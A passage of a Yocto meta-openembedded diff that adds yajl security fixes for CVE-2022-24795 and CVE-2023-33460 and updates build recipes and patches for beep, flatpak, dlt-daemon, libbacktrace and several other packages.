+From 17de4d15687aa30c49660dc4b792b1fb4d38b569 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Petr=20P=C3=ADsa=C5=99?= <ppisar@redhat.com>
+Date: Thu, 7 Apr 2022 17:29:54 +0200
+Subject: [PATCH] Fix CVE-2022-24795
+
+There was an integer overflow in yajl_buf_ensure_available() leading
+to allocating less memory than requested. Then data were written past
+the allocated heap buffer in yajl_buf_append(), the only caller of
+yajl_buf_ensure_available(). Another result of the overflow was an
+infinite loop without a return from yajl_buf_ensure_available().
+
+yajl-ruby project, which bundles yajl, fixed it
+<https://github.com/brianmario/yajl-ruby/pull/211> by checking for the
+integer overflow, fortifying buffer allocations, and report the
+failures to a caller. But then the caller yajl_buf_append() skips
+a memory write if yajl_buf_ensure_available() failed leading to a data
+corruption.
+
+A yajl fork mainter recommended calling memory allocation callbacks with
+the large memory request and let them to handle it. But that has the
+problem that it's not possible pass the overely large size to the
+callbacks.
+
+This patch catches the integer overflow and terminates the process
+with abort().
+
+CVE: CVE-2022-24795
+Upstream-Status: Submitted [https://github.com/lloyd/yajl/issues/239]
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+---
+ src/yajl_buf.c | 12 +++++++++++-
+ 1 file changed, 11 insertions(+), 1 deletion(-)
+
+diff --git a/src/yajl_buf.c b/src/yajl_buf.c
+index 1aeafde..55c11ad 100644
+--- a/src/yajl_buf.c
++++ b/src/yajl_buf.c
+@@ -45,7 +45,17 @@ void yajl_buf_ensure_available(yajl_buf buf, size_t want)
+
+ need = buf->len;
+
+- while (want >= (need - buf->used)) need <<= 1;
++ if (((buf->used > want) ? buf->used : want) > (size_t)(buf->used + want)) {
++ /* We cannot allocate more memory than SIZE_MAX. */
++ abort();
++ }
++ while (want >= (need - buf->used)) {
++ if (need >= (size_t)((size_t)(-1)<<1)>>1) {
++ /* need would overflow. */
++ abort();
++ }
++ need <<= 1;
++ }
+
+ if (need != buf->len) {
+ buf->data = (unsigned char *) YA_REALLOC(buf->alloc, buf->data, need);
+--
+2.34.1
+
diff --git a/meta-openembedded/meta-oe/recipes-devtools/yajl/yajl/CVE-2023-33460.patch b/meta-openembedded/meta-oe/recipes-devtools/yajl/yajl/CVE-2023-33460.patch
new file mode 100644
index 0000000000..47454dc8af
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-devtools/yajl/yajl/CVE-2023-33460.patch
@@ -0,0 +1,35 @@
+Fix memory leaks. Taken from the Fedora packaging (https://src.fedoraproject.org/rpms/yajl)
+where it was backported from openEuler.
+
+CVE: CVE-2023-33460
+Upstream-Status: Submitted [https://github.com/lloyd/yajl/issues/250]
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+diff --git a/src/yajl_tree.c b/src/yajl_tree.c
+index 3d357a3..56c7012 100644
+--- a/src/yajl_tree.c
++++ b/src/yajl_tree.c
+@@ -143,7 +143,7 @@ static yajl_val context_pop(context_t *ctx)
+ ctx->stack = stack->next;
+
+ v = stack->value;
+-
++ free (stack->key);
+ free (stack);
+
+ return (v);
+@@ -444,7 +444,14 @@ yajl_val yajl_tree_parse (const char *input,
+ snprintf(error_buffer, error_buffer_size, "%s", internal_err_str);
+ YA_FREE(&(handle->alloc), internal_err_str);
+ }
++ while(ctx.stack != NULL) {
++ yajl_val v = context_pop(&ctx);
++ yajl_tree_free(v);
++ }
+ yajl_free (handle);
++ //If the requested memory is not released in time, it will cause memory leakage
++ if(ctx.root)
++ yajl_tree_free(ctx.root);
+ return NULL;
+ }
+
diff --git a/meta-openembedded/meta-oe/recipes-devtools/yajl/yajl_2.1.0.bb b/meta-openembedded/meta-oe/recipes-devtools/yajl/yajl_2.1.0.bb
index cf8dbb183e..2a34210f3c 100644
--- a/meta-openembedded/meta-oe/recipes-devtools/yajl/yajl_2.1.0.bb
+++ b/meta-openembedded/meta-oe/recipes-devtools/yajl/yajl_2.1.0.bb
@@ -8,7 +8,11 @@ HOMEPAGE = "http://lloyd.github.com/yajl/"
LICENSE = "ISC"
LIC_FILES_CHKSUM = "file://COPYING;md5=39af6eb42999852bdd3ea00ad120a36d"
-SRC_URI = "git://github.com/lloyd/yajl;branch=master;protocol=https"
+SRC_URI = "git://github.com/lloyd/yajl;branch=master;protocol=https \
+ file://CVE-2017-16516.patch \
+ file://CVE-2022-24795.patch \
+ file://CVE-2023-33460.patch \
+ "
SRCREV = "a0ecdde0c042b9256170f2f8890dd9451a4240aa"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-oe/recipes-extended/beep/beep_1.4.9.bb b/meta-openembedded/meta-oe/recipes-extended/beep/beep_1.4.12.bb
index ec62f31870..a4bc10c366 100644
--- a/meta-openembedded/meta-oe/recipes-extended/beep/beep_1.4.9.bb
+++ b/meta-openembedded/meta-oe/recipes-extended/beep/beep_1.4.12.bb
@@ -8,24 +8,11 @@ LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
SRC_URI = "git://github.com/spkr-beep/beep.git;protocol=https;branch=master \
- file://0001-Do-not-use-Werror-as-it-fails-with-newer-clang-11.patch \
-"
-SRCREV = "8b85ddd09f73b9fd7caa5679298781a57af194ac"
+ file://0001-beep-library-Make-it-compatible-with-c99.patch"
+SRCREV = "11453a79f2cea81832329b06ca3a284aa7a0a52e"
S = "${WORKDIR}/git"
-EXTRA_OEMAKE = " \
- COMPILER_gcc='${CC}' \
- LINKER_gcc='${CC}' \
- COMPILER_clang=no \
- LINKER_clang=no \
-"
-
-EXTRA_OEMAKE:toolchain-clang = " \
- COMPILER_clang='${CC}' \
- LINKER_clang='${CC}' \
- COMPILER_gcc=no \
- LINKER_gcc=no \
-"
+EXTRA_OEMAKE = "prefix='${prefix}' CFLAGS='${CFLAGS}' LDFLAGS='${LDFLAGS}'"
do_install() {
oe_runmake install DESTDIR='${D}'
diff --git a/meta-openembedded/meta-oe/recipes-extended/beep/files/0001-Do-not-use-Werror-as-it-fails-with-newer-clang-11.patch b/meta-openembedded/meta-oe/recipes-extended/beep/files/0001-Do-not-use-Werror-as-it-fails-with-newer-clang-11.patch
deleted file mode 100644
index ba7681b983..0000000000
--- a/meta-openembedded/meta-oe/recipes-extended/beep/files/0001-Do-not-use-Werror-as-it-fails-with-newer-clang-11.patch
+++ /dev/null
@@ -1,63 +0,0 @@
-From 6b33adfa438e35b6a37cfb0364274370ef4f9fc1 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 23 Dec 2020 18:00:59 +0000
-Subject: [PATCH] Do not use -Werror as it fails with newer clang 11+
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- GNUmakefile | 1 -
- 1 file changed, 1 deletion(-)
-
---- a/GNUmakefile
-+++ b/GNUmakefile
-@@ -91,12 +91,13 @@ comma := ,
- # If supported by COMPILER_gcc, add given flags to CFLAGS_gcc.
- # Example usage:
- # $(eval $(call CHECK_CFLAGS_gcc,-fasynchronous-unwind-tables))
--define CHECK_CFLAGS_gcc
--CFLAGS_gcc += $$(if $$(shell if $$(COMPILER_gcc) $(1) -x c -o compile-check.gcc-o -c - < /dev/null > /dev/null 2>&1; then echo yes; else :; fi; rm -f compile-check.gcc-o > /dev/null 2>&1),$(1))
--endef
-
- COMPILER_gcc = gcc
- LINKER_gcc = gcc
-+ifneq ($(COMPILER_gcc),no)
-+define CHECK_CFLAGS_gcc
-+CFLAGS_gcc += $$(if $$(shell if $$(COMPILER_gcc) $(1) -x c -o compile-check.gcc-o -c - < /dev/null > /dev/null 2>&1; then echo yes; else :; fi; rm -f compile-check.gcc-o > /dev/null 2>&1),$(1))
-+endef
- CPPFLAGS_gcc =
- CFLAGS_gcc =
- CFLAGS_gcc += -std=gnu99 -pedantic
-@@ -113,30 +114,24 @@ CFLAGS_gcc += -save-temps=obj
- LDFLAGS_gcc =
- LIBS_gcc =
-
--ifneq ($(call pathsearch,$(COMPILER_gcc)),)
--ifneq ($(COMPILER_gcc)),no)
- COMPILERS += gcc
- endif
--endif
-
- COMPILER_clang = clang
- LINKER_clang = clang
-+
-+ifneq ($(COMPILER_clang),no)
- CPPFLAGS_clang =
- CFLAGS_clang += -Wall -Wextra
- CFLAGS_clang += -Weverything
- CFLAGS_clang += -Wno-padded
- CFLAGS_clang += -std=gnu99 -pedantic
--CFLAGS_clang += -Werror
--CFLAGS_clang += -fsanitize=undefined
- CFLAGS_clang += -O -g
- LDFLAGS_clang =
- LIBS_clang =
-
--ifneq ($(call pathsearch,$(COMPILER_clang)),)
--ifneq ($(COMPILER_clang),no)
- COMPILERS += clang
- endif
--endif
-
-
- ########################################################################
diff --git a/meta-openembedded/meta-oe/recipes-extended/beep/files/0001-beep-library-Make-it-compatible-with-c99.patch b/meta-openembedded/meta-oe/recipes-extended/beep/files/0001-beep-library-Make-it-compatible-with-c99.patch
new file mode 100644
index 0000000000..240e075a89
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-extended/beep/files/0001-beep-library-Make-it-compatible-with-c99.patch
@@ -0,0 +1,78 @@
+From 66b06e03fc25a168e06c7af5ccccc3162ddbf92a Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 13 Nov 2023 17:18:55 -0800
+Subject: [PATCH] beep-library: Make it compatible with < c99
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ beep-library.c | 9 +++++----
+ 1 file changed, 5 insertions(+), 4 deletions(-)
+
+--- a/beep-library.c
++++ b/beep-library.c
+@@ -44,7 +44,7 @@
+ int open_checked_char_device(const char *const device_name)
+ {
+ struct stat sb;
+-
++ int fd = -1;
+ if (-1 == stat(device_name, &sb)) {
+ LOG_VERBOSE("could not stat(2) %s: %s",
+ device_name, strerror(errno));
+@@ -57,7 +57,7 @@ int open_checked_char_device(const char
+ return -1;
+ }
+
+- const int fd = open(device_name, O_WRONLY);
++ fd = open(device_name, O_WRONLY);
+ if (fd == -1) {
+ LOG_VERBOSE("could not open(2) %s: %s",
+ device_name, strerror(errno));
+@@ -90,6 +90,7 @@ void safe_error_exit(const char *const m
+ {
+ const int saved_errno = errno;
+ char strerr_buf[128];
++ size_t errlen, msglen;
+ const int ret = strerror_r(saved_errno, strerr_buf, sizeof(strerr_buf));
+ if (ret != 0) {
+ if (write(STDERR_FILENO, "strerror_r error\n",
+@@ -98,14 +99,14 @@ void safe_error_exit(const char *const m
+ }
+ _exit(EXIT_FAILURE);
+ }
+- const size_t msglen = strlen(msg);
++ msglen = strlen(msg);
+ if (write(STDERR_FILENO, msg, msglen)) {
+ /* ignore all write errors */
+ }
+ if (write(STDERR_FILENO, ": ", 2)) {
+ /* ignore all write errors */
+ }
+- const size_t errlen = strlen(strerr_buf);
++ errlen = strlen(strerr_buf);
+ if (write(STDERR_FILENO, strerr_buf, errlen)) {
+ /* ignore all write errors */
+ }
+--- a/GNUmakefile
++++ b/GNUmakefile
+@@ -155,7 +155,6 @@ $(eval $(call CHECK_CFLAGS,common_CFLAGS
+ $(eval $(call CHECK_CFLAGS,common_CFLAGS,-Wall))
+ $(eval $(call CHECK_CFLAGS,common_CFLAGS,-Wextra))
+ $(eval $(call CHECK_CFLAGS,common_CFLAGS,-Weverything))
+-$(eval $(call CHECK_CFLAGS,common_CFLAGS,-Werror))
+ $(eval $(call CHECK_CFLAGS,common_CFLAGS,-Wno-padded))
+ $(eval $(call CHECK_CFLAGS,common_CFLAGS,-Werror=format-security))
+ $(eval $(call CHECK_CFLAGS,common_CFLAGS,-Wno-disabled-macro-expansion))
+@@ -169,11 +168,6 @@ $(eval $(call CHECK_CFLAGS,CFLAGS,-fanal
+ $(eval $(call CHECK_CFLAGS,CFLAGS,-fstack-protector-strong))
+ $(eval $(call CHECK_CFLAGS,CFLAGS,-fstack-clash-protection))
+ $(eval $(call CHECK_CFLAGS,CFLAGS,-fcf-protection))
+-$(eval $(call CHECK_CFLAGS,CFLAGS,-fsanitize=undefined))
+-
+-
+-CFLAGS += -save-temps=obj
+-
+
+ $(info # common_CFLAGS=$(common_CFLAGS))
+ $(info # CFLAGS=$(CFLAGS))
diff --git a/meta-openembedded/meta-oe/recipes-extended/brotli/brotli_1.0.9.bb b/meta-openembedded/meta-oe/recipes-extended/brotli/brotli_1.0.9.bb
index 4e2813dded..708c1c194a 100644
--- a/meta-openembedded/meta-oe/recipes-extended/brotli/brotli_1.0.9.bb
+++ b/meta-openembedded/meta-oe/recipes-extended/brotli/brotli_1.0.9.bb
@@ -16,7 +16,8 @@ inherit cmake lib_package
do_install:append () {
for lib in $(ls ${D}${libdir}/*-static.a); do
- mv -v "${lib}" "$(echo ${lib} | sed s/-static//)"
+ basename=$(basename ${lib})
+ mv -v "${lib}" "${D}${libdir}/$(echo ${basename} | sed s/-static//)"
done
}
diff --git a/meta-openembedded/meta-oe/recipes-extended/dialog/dialog_1.3-20230209.bb b/meta-openembedded/meta-oe/recipes-extended/dialog/dialog_1.3-20231002.bb
index 444b97c4e6..8887700e8a 100644
--- a/meta-openembedded/meta-oe/recipes-extended/dialog/dialog_1.3-20230209.bb
+++ b/meta-openembedded/meta-oe/recipes-extended/dialog/dialog_1.3-20231002.bb
@@ -9,7 +9,7 @@ LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343"
SRC_URI = "https://invisible-mirror.net/archives/${BPN}/${BP}.tgz"
-SRC_URI[sha256sum] = "0c26282305264be2217f335f3798f48b1dce3cf12c5a076bf231cadf77a6d6a8"
+SRC_URI[sha256sum] = "315640ab0719225d5cbcab130585c05f0791fcf073072a5fe9479969aa2b833b"
# hardcoded here for use in dialog-static recipe
S = "${WORKDIR}/dialog-${PV}"
diff --git a/meta-openembedded/meta-oe/recipes-extended/dlt-daemon/dlt-daemon/567.patch b/meta-openembedded/meta-oe/recipes-extended/dlt-daemon/dlt-daemon/567.patch
new file mode 100644
index 0000000000..fd36480456
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-extended/dlt-daemon/dlt-daemon/567.patch
@@ -0,0 +1,36 @@
+Upstream-Status: Submitted [https://github.com/COVESA/dlt-daemon/pull/567]
+
+From c84e48f6986054cf8b9459e608235b7bd1635746 Mon Sep 17 00:00:00 2001
+From: Gianfranco Costamagna <costamagnagianfranco@yahoo.it>
+Date: Mon, 13 Nov 2023 12:37:23 +0100
+Subject: [PATCH] dlt_cdh:
+
+Make sure on 64 bit we read an ELF64 structure.
+Otherwise we get a read error, and the context file is missing some good
+to know information
+---
+ src/core_dump_handler/dlt_cdh.h | 7 +++++++
+ 1 file changed, 7 insertions(+)
+
+diff --git a/src/core_dump_handler/dlt_cdh.h b/src/core_dump_handler/dlt_cdh.h
+index 8608c6c4..3dac480a 100644
+--- a/src/core_dump_handler/dlt_cdh.h
++++ b/src/core_dump_handler/dlt_cdh.h
+@@ -45,10 +45,17 @@
+ #define CORE_FILE_PATTERN "%s/core.%d.%s.%d.gz"
+ #define CONTEXT_FILE_PATTERN "%s/context.%d.%s.%d.txt"
+
++#if ((__SIZEOF_POINTER) == 4)
+ #define ELF_Ehdr Elf32_Ehdr
+ #define ELF_Phdr Elf32_Phdr
+ #define ELF_Shdr Elf32_Shdr
+ #define ELF_Nhdr Elf32_Nhdr
++#else
++#define ELF_Ehdr Elf64_Ehdr
++#define ELF_Phdr Elf64_Phdr
++#define ELF_Shdr Elf64_Shdr
++#define ELF_Nhdr Elf64_Nhdr
++#endif
+
+ typedef struct
+ {
diff --git a/meta-openembedded/meta-oe/recipes-extended/dlt-daemon/dlt-daemon_2.18.10.bb b/meta-openembedded/meta-oe/recipes-extended/dlt-daemon/dlt-daemon_2.18.10.bb
index 410fffa24b..3d2e4a73f1 100644
--- a/meta-openembedded/meta-oe/recipes-extended/dlt-daemon/dlt-daemon_2.18.10.bb
+++ b/meta-openembedded/meta-oe/recipes-extended/dlt-daemon/dlt-daemon_2.18.10.bb
@@ -18,6 +18,7 @@ SRC_URI = "git://github.com/COVESA/${BPN}.git;protocol=https;branch=master \
file://0002-Don-t-execute-processes-as-a-specific-user.patch \
file://0004-Modify-systemd-config-directory.patch \
file://544.patch \
+ file://567.patch \
"
SRCREV = "0f2d4cfffada6f8448a2cb27995b38eb4271044f"
diff --git a/meta-openembedded/meta-oe/recipes-extended/flatpak/flatpak/0001-flatpak-pc-add-pc_sysrootdir.patch b/meta-openembedded/meta-oe/recipes-extended/flatpak/flatpak/0001-flatpak-pc-add-pc_sysrootdir.patch
index c1f2cca5c6..08d5625fa7 100644
--- a/meta-openembedded/meta-oe/recipes-extended/flatpak/flatpak/0001-flatpak-pc-add-pc_sysrootdir.patch
+++ b/meta-openembedded/meta-oe/recipes-extended/flatpak/flatpak/0001-flatpak-pc-add-pc_sysrootdir.patch
@@ -5,7 +5,7 @@ Subject: [PATCH] flatpak.pc: add pc_sysrootdir
Signed-off-by: Markus Volk <f_l_k@t-online.de>
---
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [oe-specific]
meson.build | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/meta-openembedded/meta-oe/recipes-extended/flatpak/flatpak/0001-meson.build-require-for-native-wayland-scanner.patch b/meta-openembedded/meta-oe/recipes-extended/flatpak/flatpak/0001-meson.build-require-for-native-wayland-scanner.patch
new file mode 100644
index 0000000000..b076a3fffd
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-extended/flatpak/flatpak/0001-meson.build-require-for-native-wayland-scanner.patch
@@ -0,0 +1,28 @@
+From ced2e933cf647874da4baff002e0987b9bfe5fac Mon Sep 17 00:00:00 2001
+From: Markus Volk <f_l_k@t-online.de>
+Date: Sat, 18 Nov 2023 15:07:49 +0100
+Subject: [PATCH] meson.build: require for native wayland-scanner
+
+Signed-off-by: Markus Volk <f_l_k@t-online.de>
+
+Upstream-Status: Submitted [https://github.com/flatpak/flatpak/pull/5596]
+---
+ meson.build | 4 ++--
+ 1 file changed, 1 insertions(+), 1 deletions(-)
+
+diff --git a/meson.build b/meson.build
+index f4e5b3a3..5d2f9eba 100644
+--- a/meson.build
++++ b/meson.build
+@@ -207,7 +207,7 @@ gtkdoc_dep = dependency('gtk-doc', required : get_option('gtkdoc'))
+ build_gtk_doc = gtkdoc_dep.found()
+
+ wayland_client = dependency('wayland-client', required : get_option('wayland_security_context'))
+-wayland_scanner = dependency('wayland-scanner', version : '>= 1.15', required : get_option('wayland_security_context'))
++wayland_scanner = dependency('wayland-scanner', version : '>= 1.15', required : get_option('wayland_security_context'), native : true)
+ wayland_protocols = dependency('wayland-protocols', version : '>= 1.32', required : get_option('wayland_security_context'))
+ build_wayland_security_context = wayland_client.found() and wayland_scanner.found() and wayland_protocols.found()
+
+--
+2.42.0
+
diff --git a/meta-openembedded/meta-oe/recipes-extended/flatpak/flatpak_1.15.4.bb b/meta-openembedded/meta-oe/recipes-extended/flatpak/flatpak_1.15.6.bb
index ca0f0e82c0..0ee53afb6d 100644
--- a/meta-openembedded/meta-oe/recipes-extended/flatpak/flatpak_1.15.4.bb
+++ b/meta-openembedded/meta-oe/recipes-extended/flatpak/flatpak_1.15.6.bb
@@ -6,9 +6,10 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
SRC_URI = " \
gitsm://github.com/flatpak/flatpak;protocol=https;branch=main \
file://0001-flatpak-pc-add-pc_sysrootdir.patch \
+ file://0001-meson.build-require-for-native-wayland-scanner.patch \
"
-SRCREV = "e936e3100d406c50ba49f3ad6a0ecae455345ec0"
+SRCREV = "27b11b93c2a80a91c9461bc6c7f5e9a201406041"
S = "${WORKDIR}/git"
@@ -19,7 +20,6 @@ REQUIRED_DISTRO_FEATURES = "polkit"
DEPENDS = " \
appstream \
bison-native \
- curl \
dconf \
fuse3 \
gdk-pixbuf \
@@ -29,11 +29,9 @@ DEPENDS = " \
libarchive \
libcap \
libxml2 \
- libxslt-native \
ostree \
polkit \
python3-pyparsing-native \
- xmlto-native \
zstd \
"
@@ -47,18 +45,28 @@ RDEPENDS:${PN} = " \
EXTRA_OEMESON += "-Dsystem_dbus_proxy=${bindir}/xdg-dbus-proxy -Dsystem_bubblewrap=${bindir}/bwrap"
-GIR_MESON_OPTION = ""
+GIR_MESON_OPTION = "gir"
+GIR_MESON_ENABLE_FLAG = 'enabled'
+GIR_MESON_DISABLE_FLAG = 'disabled'
GTKDOC_MESON_OPTION = 'gtkdoc'
GTKDOC_MESON_ENABLE_FLAG = 'enabled'
GTKDOC_MESON_DISABLE_FLAG = 'disabled'
+PACKAGECONFIG[curl] = "-Dhttp_backend=curl,,curl"
+PACKAGECONFIG[docbook_docs] = "-Ddocbook_docs=enabled,-Ddocbook_docs=disabled,xmlto-native"
+PACKAGECONFIG[man] = "-Dman=enabled,-Dman=disabled,libxslt-native"
+PACKAGECONFIG[soup] = "-Dhttp_backend=soup,,libsoup-2.4"
PACKAGECONFIG[tests] = "-Dtests=true,-Dtests=false,xauth socat-native"
PACKAGECONFIG[xauth] = "-Dxauth=enabled,-Dxauth=disabled,xauth"
PACKAGECONFIG[seccomp] = "-Dseccomp=enabled,-Dseccomp=disabled,libseccomp"
+PACKAGECONFIG[selinux] = "-Dselinux_module=enabled,-Dselinux_module=disabled,libselinux"
+PACKAGECONFIG[wayland-security-context] = "-Dwayland_security_context=enabled,-Dwayland_security_context=disabled,wayland wayland-native wayland-protocols"
PACKAGECONFIG ?= " \
+ curl \
${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'xauth', '', d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'seccomp', 'seccomp', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland-security-context', '', d)} \
"
FILES:${PN} += "${libdir} ${datadir}"
diff --git a/meta-openembedded/meta-oe/recipes-extended/fluentbit/fluentbit_1.9.7.bb b/meta-openembedded/meta-oe/recipes-extended/fluentbit/fluentbit_1.9.7.bb
index 26238e51f1..fc06095475 100644
--- a/meta-openembedded/meta-oe/recipes-extended/fluentbit/fluentbit_1.9.7.bb
+++ b/meta-openembedded/meta-oe/recipes-extended/fluentbit/fluentbit_1.9.7.bb
@@ -45,7 +45,7 @@ DEPENDS:append:libc-musl = " fts "
# flex hardcodes the input file in #line directives leading to TMPDIR contamination of debug sources.
do_compile:append() {
- find ${B} -name '*.c' -or -name '*.h' | xargs sed -i -e 's|${TMPDIR}|/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/|g'
+ find ${B} -name '*.c' -or -name '*.h' | xargs sed -i -e 's|${TMPDIR}|${TARGET_DBGSRC_DIR}/|g'
}
PACKAGECONFIG ?= "yaml"
@@ -88,5 +88,5 @@ inherit cmake systemd pkgconfig
SYSTEMD_SERVICE:${PN} = "td-agent-bit.service"
-EXTRA_OECMAKE += "-DCMAKE_DEBUG_SRCDIR=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/"
+EXTRA_OECMAKE += "-DCMAKE_DEBUG_SRCDIR=${TARGET_DBGSRC_DIR}/"
TARGET_CC_ARCH += " ${SELECTED_OPTIMIZATION}"
diff --git a/meta-openembedded/meta-oe/recipes-extended/lastlog2/lastlog2_1.1.0.bb b/meta-openembedded/meta-oe/recipes-extended/lastlog2/lastlog2_1.2.0.bb
index 757af0073a..43deac3839 100644
--- a/meta-openembedded/meta-oe/recipes-extended/lastlog2/lastlog2_1.1.0.bb
+++ b/meta-openembedded/meta-oe/recipes-extended/lastlog2/lastlog2_1.2.0.bb
@@ -5,7 +5,7 @@ LICENSE = "BSD-2-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=020090a00b69dd2af9ab82eb0003ea2c"
SECTION = "libs"
-SRCREV = "585153a577788c590370d20e40263b61238dfab3"
+SRCREV = "6138dff6f2a5216065fa4833a223b56d98cb62f3"
SRC_URI = "git://github.com/thkukuk/lastlog2.git;branch=main;protocol=https \
file://0001-remove-lto-to-fix-link-error-of-clang.patch \
diff --git a/meta-openembedded/meta-oe/recipes-extended/libbacktrace/libbacktrace_git.bb b/meta-openembedded/meta-oe/recipes-extended/libbacktrace/libbacktrace_git.bb
index 609e55f4ac..46fa81866b 100644
--- a/meta-openembedded/meta-oe/recipes-extended/libbacktrace/libbacktrace_git.bb
+++ b/meta-openembedded/meta-oe/recipes-extended/libbacktrace/libbacktrace_git.bb
@@ -11,20 +11,17 @@ DEPENDS += "libunwind"
SRC_URI = "git://github.com/ianlancetaylor/libbacktrace;protocol=https;branch=master"
PV = "1.0+git${SRCPV}"
-SRCREV = "4f57c999716847e45505b3df170150876b545088"
+SRCREV = "9ae4f4ae4481b1e69d38ed810980d33103544613"
S = "${WORKDIR}/git"
inherit autotools
-EXTR_OECONF += "--with-system-libunwind"
-
-CFLAGS += "-fPIC"
+EXTRA_OECONF += "--with-system-libunwind --enable-shared --disable-static"
do_configure() {
oe_runconf
}
-# libunwind does not support RISCV yet
-COMPATIBLE_HOST:riscv64 = "null"
+# libunwind does not support RISCV32 yet
COMPATIBLE_HOST:riscv32 = "null"
diff --git a/meta-openembedded/meta-oe/recipes-extended/libblockdev/libblockdev_3.03.bb b/meta-openembedded/meta-oe/recipes-extended/libblockdev/libblockdev_3.0.4.bb
index 99175e6112..d6ee103bb3 100644
--- a/meta-openembedded/meta-oe/recipes-extended/libblockdev/libblockdev_3.03.bb
+++ b/meta-openembedded/meta-oe/recipes-extended/libblockdev/libblockdev_3.0.4.bb
@@ -15,7 +15,7 @@ DEPENDS = "autoconf-archive-native glib-2.0 kmod udev libnvme"
SRC_URI = "git://github.com/storaged-project/libblockdev;branch=master;protocol=https \
file://0001-fix-pythondir-for-multilib-when-cross-compiling.patch \
"
-SRCREV = "38378931d285b91333ff2e2a391b1fe91072f9bb"
+SRCREV = "ec0120de06f28ecfc10953b712f7f42735787bcf"
S = "${WORKDIR}/git"
FILES:${PN} += "${libdir}/python3.*/site-packages"
diff --git a/meta-openembedded/meta-oe/recipes-extended/libimobiledevice/libplist_git.bb b/meta-openembedded/meta-oe/recipes-extended/libimobiledevice/libplist_git.bb
index 3a10b40f1f..f8e7f98dfd 100644
--- a/meta-openembedded/meta-oe/recipes-extended/libimobiledevice/libplist_git.bb
+++ b/meta-openembedded/meta-oe/recipes-extended/libimobiledevice/libplist_git.bb
@@ -8,9 +8,9 @@ DEPENDS = "libxml2 glib-2.0 swig python3"
inherit autotools pkgconfig python3native python3targetconfig
-PV = "2.3.0"
+PV = "2.3.0+git${SRCPV}"
-SRCREV = "b8fcc89b74c9128a13b07cc15a0ce25dca0cd97e"
+SRCREV = "2cd858c679d25633077ca78b67182a9b77653816"
SRC_URI = "git://github.com/libimobiledevice/libplist;protocol=https;branch=master"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-oe/recipes-extended/libyang/libyang_2.1.111.bb b/meta-openembedded/meta-oe/recipes-extended/libyang/libyang_2.1.128.bb
index e59235690a..55dbb82029 100644
--- a/meta-openembedded/meta-oe/recipes-extended/libyang/libyang_2.1.111.bb
+++ b/meta-openembedded/meta-oe/recipes-extended/libyang/libyang_2.1.128.bb
@@ -6,7 +6,7 @@ LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=f3916d7d8d42a6508d0ea418cfff10ad"
-SRCREV = "8b0b910a2dcb7360cb5b0aaefbd1338271d50946"
+SRCREV = "7e5ea21030fe6632b6faad30c0de8d9669503773"
SRC_URI = "git://github.com/CESNET/libyang.git;branch=master;protocol=https \
file://0001-test_context-skip-test-case-test_searchdirs.patch \
diff --git a/meta-openembedded/meta-oe/recipes-extended/minifi-cpp/minifi-cpp_0.7.0.bb b/meta-openembedded/meta-oe/recipes-extended/minifi-cpp/minifi-cpp_0.7.0.bb
index b75a336955..67a2d9fa5f 100644
--- a/meta-openembedded/meta-oe/recipes-extended/minifi-cpp/minifi-cpp_0.7.0.bb
+++ b/meta-openembedded/meta-oe/recipes-extended/minifi-cpp/minifi-cpp_0.7.0.bb
@@ -66,7 +66,7 @@ EXTRA_OECMAKE += " \
-DGCC_RANLIB=${STAGING_BINDIR_TOOLCHAIN}/${RANLIB} \
-DDISABLE_PYTHON_SCRIPTING=ON \
-DFLEX_TARGET_ARG_COMPILE_FLAGS='--noline' \
- -DBISON_TARGET_ARG_COMPILE_FLAGS='--no-lines --file-prefix-map=${S}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}' \
+ -DBISON_TARGET_ARG_COMPILE_FLAGS='--no-lines --file-prefix-map=${S}=${TARGET_DBGSRC_DIR}' \
-DOPENSSLDIR=${sysconfdir}/libressl \
"
diff --git a/meta-openembedded/meta-oe/recipes-extended/networking/mstpd_git.bb b/meta-openembedded/meta-oe/recipes-extended/networking/mstpd_git.bb
index e2565d6201..b2043ef062 100644
--- a/meta-openembedded/meta-oe/recipes-extended/networking/mstpd_git.bb
+++ b/meta-openembedded/meta-oe/recipes-extended/networking/mstpd_git.bb
@@ -1,16 +1,17 @@
-PR = "r1"
-PV = "0.1+git${SRCPV}"
LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://LICENSE;md5=4325afd396febcb659c36b49533135d4"
-SRC_URI = "git://github.com/mstpd/mstpd;branch=master;protocol=https"
+PV = "0.1.0+git"
+
+SRC_URI = " \
+ git://github.com/mstpd/mstpd;branch=master;protocol=https \
+ file://bridge-stp \
+ file://mstpd.service \
+"
SRCREV = "181c453fc1a00573e19f14960dcc54ad84beea7c"
S = "${WORKDIR}/git"
-SRC_URI:append = " \
- file://bridge-stp \
- file://mstpd.service \
-"
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+){2,})"
